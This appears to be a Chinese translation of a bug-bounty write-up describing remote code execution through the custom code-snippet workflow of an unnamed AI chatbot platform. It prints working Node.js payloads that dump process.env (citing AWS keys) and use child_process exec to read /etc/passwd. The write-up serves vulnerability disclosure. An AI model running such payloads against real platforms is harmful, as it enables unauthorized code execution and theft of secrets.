探索AI聊天机器人工作流程实现RCE
探索AI聊天机器人工作流程实现RCE
原创 玲珑安全官方 芳华绝代安全团队 2024-08-06 19:31
前言
我发现了一个广泛使用的AI聊天机器人平台中的远程代码执行漏洞。该漏洞存在于聊天机器人的自定义工作流响应代码中,这些工作流允许开发人员通过创建定制的流程来扩展机器人的功能。
正文
在浏览自动化聊天机器人的多个特定功能时,其中一个引起我注意的功能是“Start from scratch”选项,如下所示:
此“Start from scratch”选项包含多个用于定制聊天机器人自动化的选项,例如工作流、Webhooks和自定义代码片段,如下图所示:
查看其余选项后,我开始探索“运行代码片段”选项。
该功能包含可自定义的代码,用于从聊天机器人获取自定义响应。
例如下列代码存在一个默认值为“Hello World”的botMessage参数:
const responseJson = {
botMessage: "Hello world",
responseExpected: false
}
也就是定义了返回的消息和是否期待进一步响应的默认设置。
由于
聊天机器人是使用
Node 18.x 框架构建的,我尝试获取/检查全局变量的响应,例如 __dirname、__filename,并尝试在“Hello World”位置执行像 eval(7*7) 这样的函数。
例如:
const responseJson = {
botMessage : __dirname,
responseExpected : false
}
可以看到,聊天机器
人输出了“/var/task”,这意味着全局变量 __dirname 在内部成功执行。
同理:
const responseJson = {
botMessage : __filename,
responseExpected : false
}
输出“/var/task/Template.js”
。
同理:
const responseJson = {
botMessage:eval(7 * 7),
responseExpected:false
}
输出49。
接下来我想提高漏洞危害,于是我开始查看 Nodejs 官方文档,并找到了更多全局变量/对象来检查是否存在更多数据泄漏
官方文档:https://nodejs.org/api/globals.html#process
例如
process.env
、
process.argv
process.execPath
、
process.memoryUsage()、 process.getuid() 、 process.cpuUsage()
等
1、process.env
const responseJson = {
botMessage: process.env,
responseExpected: false
}
检查环境变量至关重要,因为它们有时会存储 AWS_SECRET 和 AWS_KEY。
2、process.platform
const responseJson = {
botMessage: process.platform,
responseExpected: false
}
3、process.execPath
const responseJson = {
botMessage: process.execPath,
responseExpected: false
}
4、process.memoryUsage()
const responseJson = {
botMessage: process.memoryUsage(),
responseExpected: false
}
5、经过多次尝试、调试后,我创建出一个完整的
Payload
来获取/etc/passwd文件:
const { exec } = require('child_process');
exports.main = (event, callback) => {
exec('head /etc/passwd', (error, stdout, stderr) => {
if (error) {
console.error(exec error: ${error});
return;
}
if (stderr) {
console.error(stderr: ${stderr});
return;
}
const responseJson = {
botMessage: stdout,
responseExpected: false
};
callback(responseJson);
});
};
运行“
id
”命令:
原文出处:
https://varmaanu001.medium.com/unveiling-remote-code-execution-in-ai-chatbot-workflows-3c7f633f63c3
SRC漏洞挖掘培训
往期漏洞分享
CVSS 10信息披露+图片元数据不适当处理+大小写绕过速率限制
Oracle Apiary:SSRF获取元数据
SSRF 之 Azure Digital Twins Explorer
玲珑安全交流群
玲珑安全B站免费公开课
https://space.bilibili.com/602205041